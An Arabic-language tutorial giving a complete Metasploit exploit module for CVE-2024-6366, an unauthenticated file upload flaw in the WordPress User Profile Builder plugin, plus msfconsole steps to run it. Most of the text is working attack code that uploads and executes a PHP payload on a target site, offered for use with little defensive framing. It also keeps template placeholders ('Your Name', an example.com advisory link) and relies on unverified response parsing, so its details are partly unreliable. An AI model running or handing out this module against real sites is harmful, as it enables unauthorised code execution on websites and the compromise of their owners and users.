
وحدة استغلال Metasploit لـ CVE-2024-6366، وهي ثغرة رفع ملفات غير مصادق عليها تؤدي إلى تنفيذ تعليمات برمجية عن بُعد في WordPress User Profile Builder قبل الإصدار 3.11.8، حيث يتم رفع وتنفيذ حمولة PHP.
لإنشاء وحدة Metasploit لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) في إضافة User Profile Builder لووردبريس قبل الإصدار 3.11.8، نحتاج إلى استغلال غياب التفويض الصحيح في وظيفة رفع ملفات الوسائط. إليك كيفية إنشاء هذه الوحدة:
احفظ الكود التالي باسم wordpress_user_profile_builder_rce.rb في المجلد modules/exploits/unix/webapp من تثبيت Metasploit Framework لديك.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress User Profile Builder Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits a vulnerability in the User Profile Builder WordPress plugin before version 3.11.8.
The plugin does not have proper authorization, allowing unauthenticated users to upload media files via
the async upload functionality. This can be leveraged to upload and execute a malicious PHP payload.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-6366'], # Replace with the actual CVE identifier
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'WordPress User Profile Builder < 3.11.8', {} ]
],
'DisclosureDate' => 'Aug 03 2024',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
})
if res && res.body.include?('wp-content/plugins/user-profile-builder')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
php_payload = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new
data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"async-upload\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.php\"")
data.add_part('1', nil, nil, 'form-data; name="html-upload"')
data.add_part('Upload', nil, nil, 'form-data; name="upload"')
print_status("Uploading PHP payload...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?('.php')
php_path = res.body.match(/(\/wp-content\/uploads\/[0-9]+\/[0-9]+\/.*?\.php)/)[1]
print_good("Payload uploaded successfully: #{php_path}")
register_files_for_cleanup(php_path)
execute_command("#{php_path}")
else
fail_with(Failure::UnexpectedReply, 'Failed to upload payload')
end
end
def execute_command(php_path)
print_status("Executing PHP payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_path)
})
end
end
حفظ الوحدة:
احفظ الوحدة كملف wordpress_user_profile_builder_rce.rb في المجلد modules/exploits/unix/webapp من تثبيت Metasploit Framework لديك.
/path/to/metasploit-framework/modules/exploits/unix/webapp/wordpress_user_profile_builder_rce.rb
تشغيل Metasploit: ابدأ Metasploit Framework بفتح طرفية وتنفيذ:
msfconsole
استخدام الوحدة الجديدة: في وحدة تحكم Metasploit، حمل وحدة الاستغلال الجديدة باستخدام الأمر التالي:
use exploit/unix/webapp/wordpress_user_profile_builder_rce
الإعداد والتشغيل:
عيِّن الخيارات الضرورية، مثل RHOSTS و TARGETURI. ثم قم بتشغيل الاستغلال.
msf6 > use exploit/unix/webapp/wordpress_user_profile_builder_rce
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(unix/webapp/wordpress_user_profile_builder_rce) > run
تعمل هذه الوحدة على رفع ملف PHP ضار إلى تثبيت ووردبريس ضعيف ثم تنفيذه لتحقيق تنفيذ الأوامر عن بُعد. قم بتعديل الحمولة والوحدة حسب الحاجة بناءً على طبيعة الثغرة المحددة والبيئة المستهدفة.